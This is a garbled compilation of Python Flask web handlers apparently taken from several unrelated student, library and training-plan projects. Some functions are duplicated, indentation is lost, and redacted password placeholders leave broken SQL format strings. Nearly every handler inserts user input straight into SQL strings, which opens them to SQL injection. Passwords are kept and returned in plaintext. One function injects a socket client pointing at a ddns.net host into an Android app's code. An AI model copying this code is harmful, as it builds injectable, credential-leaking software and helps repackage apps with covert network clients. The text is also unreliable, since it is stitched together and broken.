def detail(question):
print(question)
#question=str(question)
if request.method == 'GET':
sql = "SELECT TOPIC, COMMENTS, COMMENTER, CREATE_TIME FROM NEWS WHERE NEWS_ID='%s' AND IS_FIRST='0'" % question
title = query.query(sql)
#print(title)
title = title[0]
sql = "SELECT * FROM NEWS WHERE IS_FIRST='%s'" % question
result = query.query(sql)
return render_template('detail.html', title=title, result=result)
else:
comments = request.form.get('comments')
stu_id = session.get('stu_id')
sql = "select NAME from STUDENT where STU_NO = '%s'" % stu_id
stu_name = query.query(sql)
stu_name = stu_name[0][0]
now = time.time()
now = time.strftime('%Y-%m-%d', time.localtime(now))
now = str(now)
news_id = stu_name + now
sql = "INSERT INTO NEWS(TOPIC, COMMENTS, COMMENTER, NEWS_ID, IS_FIRST) VALUES ('回复', '%s', '%s', '%s', '%s')" % (
comments, stu_name, news_id, question)
print(sql)
query.update(sql)
sql = "SELECT TOPIC, COMMENTS, COMMENTER, CREATE_TIME FROM NEWS WHERE NEWS_ID='%s' AND IS_FIRST='0'" % question
title = query.query(sql)
# print(title)
title = title[0]
sql = "SELECT * FROM NEWS WHERE IS_FIRST='%s'" % question
result = query.query(sql)
return render_template('detail.html', title=title, result=result)
def login():
if request.method == 'GET':
return render_template('login.html')
else:
stu_id = request.form.get('stu_id')
password = request.form.get('password')
if config['USER'] == 'librarian':
sql = "select * from coder.lib_user where usr_id = '%s'" % stu_id
result = query.query(sql)
else:
sql = "select * from coder.lib_user_view where usr_id = '%s'" % stu_id
result = query.query(sql)
print(result)
if len(result) != 0:
#print(result[0][6], password)
if (result[0][1] == password and result[0][2] == config['USER']):
session['name'] = result[0][0]
session['stu_id'] = result[0][2]
session.permanent = True
print(result[0][1])
if config['USER'] == 'librarian':
return redirect(url_for('manager'))
else:
return redirect(url_for('reader'))
else:
return u'账号或密码错误'
else:
return u'不存在这个用户'
def lec_information():
sql = "select * from LECTURE"
result = query.query(sql)
stu_id = session.get('stu_id')
sql = "select grade from CLASS where stu_id = '%s'" % stu_id
result2 = query.query(sql)
return render_template('lec_information.html',
result=result,
result2=result2)
def write(self, output):
if self.out == 'out':
print(output, file=self.stdout, end='')
elif self.out == 'err':
print(output, file=self.stderr, end='')
else:
raise ValueError('output must either be "out" or "err"')
query(
f'UPDATE training_progress SET std_{self.out} = std_{self.out} || %s WHERE job_id=%s',
(output, self.id))
def staff_train():
sta_id = session.get('sta_id')
sql = "select * from trainplan.staff WHERE STA_NO='%s'" % sta_id
result = query.query(sql)
sql = "select * from train WHERE STA_ID='%s'" % result[0][2]
train = query.query(sql)
sql = "select * from course WHERE NAME='%s'" % train[0][2]
course = query.query(sql)
return render_template('staff_train.html',
result=result,
train=train,
course=course[0])
def AdmitCourse():
user = session.get('user')
sql = "select * from course"
result = query.query(sql)
sql = "select COUNT(NAME) number FROM course"
staff = query.query(sql)
staff = staff[0]
total = staff[0]
return render_template('AdmitCourse.html',
result=result,
user=user,
total=total)
def staff_index():
sta_id = session.get('sta_id')
sql = "select * from trainplan.staff WHERE STA_NO='%s'" % sta_id
result = query.query(sql)
sql = "select * from course "
course = query.query(sql)
sql = "select * from train "
train = query.query(sql)
return render_template('staff_index.html',
result=result,
train=train[4],
course=course)
def AdmitDept():
user = session['user'] #获取当前网站登录的用户
sql = "select * from dept"
result = query.query(sql)
sql = "select COUNT(NAME) number FROM dept"
staff = query.query(sql)
staff = staff[0] #返回的结果类型为元组，当返回的元组中只有一个元素时，要取两次才可以把里面的值取出来
total = staff[0]
return render_template('AdmitDept.html',
result=result,
user=user,
total=total)
def selDept():
user = session.get('sta_id')
sql = "select * from trainplan.staff WHERE STA_NO='%s'" % user
result = query.query(sql)
text = request.values.get('keyword')
sel = request.values.get('search_field') #获取文本＆单选框
sql = "select * from trainplan.dept WHERE ID='%s' or NAME='%s' or ADMIN = '%s'" % (
text, text, text)
RS = query.query(sql)
#total = RS[0]
if RS:
return render_template('SELdept.html', result=result, RS=RS, user=user)
else:
return u'不存在这个用户'
def register():
# 服务器获取数据，跳转网页
if request.method == 'GET':
return render_template('register.html')
else:
# 获取填入的stu_id,user,password和password1
stu_id = request.form.get('stu_id')
user = request.form.get('user')
password = request.form.get('password')
password1 = request.form.get('password1')
print(stu_id, user, password, password1)
# 如果两次输入的密码一样，则提示密码不能一样
if (password1 != password):
return u'两次输入密码不同，请检查'
else:
# 在student表中查找到这个学生的信息
sql = "select * from STUDENT where STU_NO = '%s'" % stu_id
# print(sql)
result = query.query(sql)
# print(result)
# 如果返回数据条长度为0
if len(result) == 0:
return u'没有这个用户了'
else:
# 如果数据条第7列原password和user相等，则更新数据库中的学号和密码
if result[0][6] == user:
sql = "UPDATE STUDENT SET PASSWORD='******' WHERE STU_NO='%s'" % (
password, stu_id)
query.update(sql)
# 跳转回login函数
return redirect(url_for('login'))
else:
return u'密码错误'
def edit_password():
if request.method == 'GET':
return render_template('edit_password.html')
else:
stu_id = request.form.get('stu_id')
originalPassword = request.form.get('originalPassword')
newPassword = request.form.get('newPassword')
newPassword1 = request.form.get('newPassword1')
print(stu_id, originalPassword, newPassword, newPassword1)
# 检查密码
if (newPassword1 != newPassword):
return u'两次输入密码不同，请检查'
else:
sql = "select * from STUDENT where STU_ID = '%s'" % stu_id
#print(sql)
result = query.query(sql)
#print(result)
if len(result) == 0:
return u'不存在这个用户'
else:
if result[0][6] == originalPassword:
sql = "UPDATE STUDENT SET PASSWORD='******' WHERE STU_ID='%s'" % (
newPassword, stu_id)
query.update(sql)
return redirect(url_for('edit_password'))
else:
return u'密码错误'
def manageStudentAdd():
stu_id = session.get('stu_id') # 识别操作者身份
if stu_id == 'admin':
if request.method == 'GET':
return render_template('manageStudentAdd.html')
else:
stu_id = request.form.get('stu_id')
name = request.form.get('name')
sex = request.form.get('sex')
department = request.form.get('department')
major = request.form.get('major')
ad_year = request.form.get('ad_year')
password = request.form.get('password')
phone = request.form.get('phone')
email = request.form.get('email')
political = request.form.get('political')
sql = "select * from STUDENT WHERE STU_ID='%s'" % stu_id
result = query.query(sql)
if len(result) == 0:
sql = "INSERT INTO STUDENT VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')" % (
stu_id, name, sex, department, major, ad_year, password,
phone, email, political)
query.update(sql)
return redirect(url_for('manageStudent'))
else:
return u"该学生已存在"
else:
return u'页面不存在'
def manageTeacherAdd():
stu_id = session.get('stu_id')
if stu_id == 'admin':
if request.method == 'GET':
return render_template('manageTeacherAdd.html')
else:
tea_name = request.form.get('tea_name')
sex = request.form.get('sex')
tea_id = request.form.get('tea_id')
department = request.form.get('department')
major = request.form.get('major')
password = request.form.get('password')
phone = request.form.get('phone')
email = request.form.get('email')
title = request.form.get('title')
sql = "select * from TEACHER WHERE TEA_ID='%s'" % tea_id
result = query.query(sql)
if len(result) == 0:
sql = "INSERT INTO TEACHER VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')" % (
tea_name, sex, tea_id, department, major, password, phone,
email, title)
query.update(sql)
return redirect(url_for('manageTeacher'))
else:
return u'该教师已存在'
else:
return u'页面不存在'
def managerEdit():
stu_id = session.get('stu_id')
if stu_id == 'admin':
if request.method == 'GET':
return render_template('managerEdit.html')
else:
stu_no = request.form.get('stu_no')
name = request.form.get('name')
sex = request.form.get('sex')
college = request.form.get('college')
major = request.form.get('major')
ad_year = request.form.get('ad_year')
password = request.form.get('password')
sql = "select * from STUDENT WHERE STU_NO='%s'" % stu_no
result = query.query(sql)
if name == '':
name = result[0][0]
if sex == '':
sex = result[0][1]
if college == '':
college = result[0][3]
if major == '':
major = result[0][4]
if ad_year == '':
ad_year = result[0][5]
sql = "UPDATE STUDENT SET NAME='%s',SEX='%s',COLLEGE='%s',MAJOR='%s',AD_YEAR='%s',PASSWORD='******',ID='%s' WHERE STU_NO='%s'" % (
name, sex, college, major, ad_year, password, stu_no, stu_no)
#print(sql)
query.update(sql)
return redirect(url_for('manager'))
else:
return u'页面不存在'
def register():
if request.method == 'GET':
return render_template('register.html')
else:
stu_id = request.form.get('stu_id')
user = request.form.get('user')
password = request.form.get('password')
password1 = request.form.get('password1')
print(stu_id, user, password, password1)
if (password1 != password):
return u'两次输入密码不同，请检查'
else:
sql = "select * from STUDENT where STU_NO = '%s'" % stu_id
#print(sql)
result = query.query(sql)
#print(result)
if len(result) == 0:
return u'没有这个用户了'
else:
if result[0][6] == user:
sql = "UPDATE student SET PASSWORD='******' WHERE STU_NO='%s'" % (
password, stu_id)
query.update(sql)
return redirect(url_for('login'))
else:
return u'密码错误'
def course_discussion():
# 获取信息跳转html
if request.method == 'GET':
return render_template('course_discussion.html')
else:
# 获取发布话题topic/comments
topic = request.form.get('topic')
comments = request.form.get('comments')
# commenter = request.form.get('commenter')
# 获取登录stu_id，并在student表中查询该学生信息
# 从session中get ID 有效防止冒名顶替
stu_id = session.get('stu_id')
# 在student表查找姓名
sql = "select NAME from STUDENT where STU_NO = '%s'" % stu_id
stu_name = query.query(sql)
# 获取学生姓名
stu_name = stu_name[0][0]
# 获取当前时间
now = time.time()
now = time.strftime('%Y-%m-%d', time.localtime(now))
now = str(now)
# 生成news_id 学生姓名+时间 简单，能在列表上清晰看到 名字重复了怎么办？
news_id = stu_name + now
# 将new信息插入到news表
sql = "INSERT INTO NEWS(TOPIC, COMMENTS, COMMENTER, CREATE_TIME, NEWS_ID,IS_FIRST)" \
"VALUES ('%s', '%s', '%s','%s','%s','%s')" % (topic, comments, stu_name, now, news_id, 0)
print(sql)
# 后端更新数据表，并返回news_center函数
query.update(sql)
return render_template('news_center.html')
def login():
# 服务器端获取数据
if request.method == 'GET':
return render_template('login.html')
else:
# 获取浏览器端输入的账号密码
stu_id = request.form.get('stu_id')
password = request.form.get('password')
# 用sql在student表查询
sql = "select * from STUDENT where STU_NO = '%s'" % stu_id
result = query.query(sql)
print(result)
# 如果查询结果长度不为0
if len(result) != 0:
# print(result[0][6], password)
# 如果查询数据条的第7位和输入的password相等
if result[0][6] == password:
# 登录浏览器的stu_id session为查询结果数据条中第三位
session['stu_id'] = result[0][2]
# 保留31天
session.permanent = True
# 如果登录的stu_id是admin,跳转到manager方法
if stu_id == 'admin':
return redirect(url_for('manager'))
# 不是就跳转到首页index函数
else:
return redirect(url_for('index'))
# 和查询数据条中结果不一致
else:
return u'账号或密码错误'
# 查询到的数据条长度为0
else:
return u'不存在这个用户'
def search():
global verbnetclass_dict
global verbnetclass_inversedict
if verbnetclass_dict is None and verbnetclass_inversedict is None:
verbnetclass_dict, verbnetclass_inversedict = read_vnc_dict(VERBNETCLASS_DICT)
kibana = Kibana()
search = get_var(request, "search")
search_query = get_var(request, "query")
debug = get_var(request, "debug")
sentences = as_integer(get_var(request, "sentences"))
sentences = 5 if sentences is None else sentences
visualize = False if get_var(request, "visualize") is None else True
app.logger.debug("query=%s" % search_query)
if search == "true" and search_query:
q = query(search_query, verbnetclass_dict, verbnetclass_inversedict)
app.logger.debug("query=%s" % q)
result = INDEX_DOC.search(q)
# app.logger.debug("scroll=%s" % result.scroll_id)
return render_template("search.html",
query=search_query,
result=result,
visualize=visualize,
kibana=kibana,
debug=debug,
sentences=sentences,
app=app)
return render_template("search.html")
def get_matrix(map_student):
'''
{0:[名字，学号]}
'''
# 生成30*118的矩阵，30人，每个人有118门课；每个元素代表每个人对这门课的评分
comment_matrix = []
pass_matrix = []
for i in range(0, len(map_student)):
comment_matrix.append([])
pass_matrix.append([])
for i in range(0, len(map_student)):
# 在 map_student里面找到stu_no，作为[i]
stu_no = map_student[i][1]
# print(stu_no)
# 用stu_no查找到评分
sql = "SELECT COMMENT,PASS FROM CHOOSE a left join EDUCATION_PLAN b on a.CO_NO=b.CO_NO WHERE a.STU_NO='%s'" % (
stu_no)
# 查询结果用score定义
score = query(sql)
# print(score)
for j in range(0, len(score)):
# 将score作为[j]添加到矩阵，取第一列
comment_matrix[i].append(int(score[j][0]))
pass_matrix[i].append(score[j][1])
return comment_matrix, pass_matrix
def add_socket_client(file, activityMainPath, path):
# print(activityMainPath)
activity_main_path = activityMainPath.replace(path,
'').replace('.smali', '')
package_app = get_package(file)
# TODO ADD DNS ADDRESS
# ipv4 = os.popen('ifconfig en0').read().split("inet ")[1].split(" ")[0]
#
# print("IP:", ipv4)
original_file = query(4)
permissions = original_file[0][0]
invoke = original_file[0][1]
socket_client = original_file[0][2]
socket_client = re.sub(MAIN_ACTIVITY_PATH,
'L' + package_app.replace(".", "/"), socket_client)
socket_client = re.sub(MAIN_ACTIVITY_NAME, path, socket_client)
socket_client = re.sub('192.168.1.15', 'provaforsparta.ddns.net',
socket_client)
package_list = PACKAGE_LIST['init'] + str(len(
session['package'])) + PACKAGE_LIST['new_array']
i = 0
for package in session['package']:
package_list += PACKAGE_LIST['entry_counter'] + str(i) + PACKAGE_LIST[
'before_entry'] + package + PACKAGE_LIST['after_entry']
i = i + 1
package_list += PACKAGE_LIST['after_array'] + PACKAGE_LIST[
'log'] + PACKAGE_LIST['final']
socket_client += package_list
send_file = open(os.path.join(activity_main_path + "$send.smali"), "w+")
send_file.write(socket_client)
send_file.close()
add_permission(file, permissions)
main_activity = open(activityMainPath)
main = main_activity.read()
onCreate_init = check_onCreate_access_keyword(main)
before_onCreate = main[0:onCreate_init:]
onCreate_final = main.index(ON_CREATE_RETURN, onCreate_init)
onCreate = main[onCreate_init:onCreate_final:]
invoke = re.sub(MAIN_ACTIVITY_PATH,
PATH_SUFFIX + package_app.replace(".", "/"), invoke)
smali = before_onCreate + onCreate + invoke + "\n" + main[
onCreate_final:len(main)] + "\n"
main_activity.close()
main_activity = open(activityMainPath, "w")
main_activity.write(smali)
main_activity.close()
session.clear()
def news_center():
if request.method == 'GET':
return render_template('news_center.html')
# 在news表查找is_first=0，也就是原创帖
sql = "select * from NEWS WHERE IS_FIRST='0'"
result = query.query(sql)
print(result)
return jsonify(result)
def lec_detail(lec_id):
# 统计人数
sql = "select * from class where lec_id = '%s'" % lec_id
result = query.query(sql)
count = 0
total = 0
for person in result:
count = count + 1
total = total + person[4]
average = total / count
sql = "select * from LECTURE"
result = query.query(sql)
return render_template('lec_detail.html',
result=result,
count=count,
average=average)
def tea_information(teacher):
# 显示当前页面
print(teacher)
sql = "SELECT * FROM TEACHER WHERE TEA_ID = '%s'" % (teacher)
print(sql)
result = query.query(sql)
print(result)
return render_template('tea_information.html', result=result)
def detail(question):
print(question)
# question=str(question)
# 服务器获取信息，因为要显示到话题详情，所以在news表查找topic,comments,commenter和create_time
if request.method == 'GET':
# 根据news_id和is_first=0查表，也就是原创帖，news_id就是question
sql = "SELECT TOPIC, COMMENTS, COMMENTER, CREATE_TIME FROM NEWS WHERE NEWS_ID='%s' AND IS_FIRST='0'" % question
title = query.query(sql)
# print(title)
# 标题为查到的这行数据条
title = title[0]
# 获取针对这个帖子的回复信息 is_first=question，关联具体的问题，question id在数据库自增
sql = "SELECT * FROM NEWS WHERE IS_FIRST='%s'" % question
result = query.query(sql)
return render_template('detail.html', title=title, result=result)
else:
# 回复他人评论，获取评论和登录stu_id
comments = request.form.get('comments')
stu_id = session.get('stu_id')
# 在student表查询该学生信息
sql = "select NAME from STUDENT where STU_NO = '%s'" % stu_id
# 根据查询数据条获取姓名
stu_name = query.query(sql)
stu_name = stu_name[0][0]
# 获取当前时间
now = time.time()
now = time.strftime('%Y-%m-%d', time.localtime(now))
now = str(now)
# 合成这条new_id
news_id = stu_name + now
# 插入到news表,因为是针对这个帖子的回复，所以is_first = question,topic="回复"
sql = "INSERT INTO NEWS(TOPIC, COMMENTS, COMMENTER, NEWS_ID, IS_FIRST) VALUES ('回复', '%s', '%s', '%s', '%s')" % (
comments, stu_name, news_id, question)
print(sql)
query.update(sql)
# 更新后再次显示原贴和这个帖子的回复的信息
sql = "SELECT TOPIC, COMMENTS, COMMENTER, CREATE_TIME FROM NEWS WHERE NEWS_ID='%s' AND IS_FIRST='0'" % question
title = query.query(sql)
# 标题要显示查到的这一行
title = title[0]
sql = "SELECT * FROM NEWS WHERE IS_FIRST='%s'" % question
result = query.query(sql)
return render_template('detail.html', title=title, result=result)
def personal_information():
"""
功能(个人中心界面): 根据"stu_id"从数据库中得到学生基本信息，用于个人中心信息显示
:return:
"""
stu_no = session.get('stu_id')
print(stu_no + ' is stu_no')
sql = "SELECT * FROM student WHERE STU_NO = '%s'" % stu_no
result = query.query(sql)
return render_template('personal_information.html', result=result)
def submit_train_place():
"""
功能1：数据库学生选课信息的更新
功能2: 实现计划树以及进度条的提交更新。
:return:
"""
"""功能1："""
# 使用 request.get_json(force=True) 忽略mimetype
twoData = request.get_json(force=True)
train_plan = twoData['tree']
scores = twoData['scores']
#train_plan['name'] = "数据转换成功"
print('反馈回来的数据是：')
print(train_plan)
data = train_plan['children']
array_finish = [0] * 120
#print(array_finish)
for data_children in data:
data_children = data_children['children']
#print(data_children)
for data_children_child_1 in data_children:
#print('data_children_child', data_children_child)
data_children_child_1 = data_children_child_1['children']
for data_children_child in data_children_child_1:
name = data_children_child['children'][0]['name']
color = data_children_child['children'][0]['itemStyle'][
'borderColor']
#print(name, color)
sql = "select CO_100 from education_plan WHERE CO_NAME='%s'" % name
co_100 = query.query(sql)
co_100 = co_100[0][0]
if color == 'red':
array_finish[int(co_100)] = 0
else:
array_finish[int(co_100)] = 1
finish_co = ''
for i in range(1, 119):
if array_finish[i] == 1:
finish_co += '1'
else:
finish_co += '0'
print(finish_co)
#print(array_finish)
stu_id = session.get('stu_id')
query.updateDatabase(stu_id, train_plan)
query.updateScore(stu_id, scores)
"""功能2："""
train_plan_str = json.dumps(train_plan)
train_plan_str = train_plan_str.replace("yellow", "green")
train_plan = json.loads(train_plan_str)
return jsonify(train_plan)
def get_count_by_choose_column(stu_no, column_name):
'''
:param stu_no: 学号
:return: 容不容易过的课程，知识丰富都，课程趣味程度，新用户推荐不同
'''
# 在学生课程信息表，根据学号查询到课程序列finished_co
sql = "select FINISHED_CO from EDU_STU_PLAN WHERE STU_NO='%s'" % stu_no
plan = query(sql)
finished_co = plan[0][0]
# 在教学计划表中查询课程信息，用课程序列号co_100>0查询
sql = "select CLASSIFICATION, START_TIME, CO_NAME, IS_MUST, CREDITS, CO_NO,AD_YEAR,CO_100,END_TIME,CLASS_TIME " \
"from EDUCATION_PLAN WHERE CO_100>'%s'" % '0'
# 查询结果用course表示
courses = query(sql)
courses2map = {}
for course in courses:
courses2map[course[5]] = {
'co_name': course[2],
'choose': 0,
'is_must': int(course[3])
}
if finished_co[int(course[7]) - 1] == '1':
courses2map[course[5]]['choose'] = 1
sql = "SELECT CO_NO, sum(%s) as total FROM CHOOSE GROUP BY CO_NO order by total desc" % column_name
results = query(sql)
jsonData = {"source": []}
for result in results:
if len(jsonData) == 10:
break
if courses2map[result[0]].get('choose') == 0:
continue
if courses2map[result[0]].get('is_must') == 1:
continue
jsonData.get('source').append(
[int(result[1]), courses2map[result[0]].get('co_name')])
return jsonData
def get_user_info():
params = request.get_json(force=True)
stu_no = params['stu_no']
ad_year = params['ad_year']
# stu_id = '2016012107'
sql = "select STU_NO,PASSWORD from STUDENT where STU_NO =%s and AD_YEAR=%s" % (
stu_no, ad_year)
result = query.query(sql)
if len(result) < 0:
return jsonify({'stu_no': 0, 'password': 0})
return jsonify({'stu_no': result[0][0], 'password': result[0][1]})
def addDEPT():
user = session.get('sta_id')
id = request.form.get('id')
name = request.form.get('name')
admit = request.form.get('admit')
intro = request.form.get('intro')
sql = "INSERT INTO trainplan.dept (ID,NAME,ADMIN,INTRO)VALUES ('%s','%s','%s','%s')" % (
id, name, admit, intro)
query.update(sql)
sql = "select * from trainplan.staff WHERE STA_NO='%s'" % user
result = query.query(sql)
return render_template('AdmitDept.html', result=result)
def bookList(bname):
name = session.get('name')
sql = "select * from coder.book where bname = ('%s')" % (bname)
result = query.query(sql)
result2 = np.array(result)
result3 = []
for i in range(result2.shape[0]):
a = "../static/images/" + result2[i][0] + ".jpg"
result3.append(a)
result3 = np.array(result3)
result2 = np.c_[result2, result3]
return render_template('bookList.html', result=result2)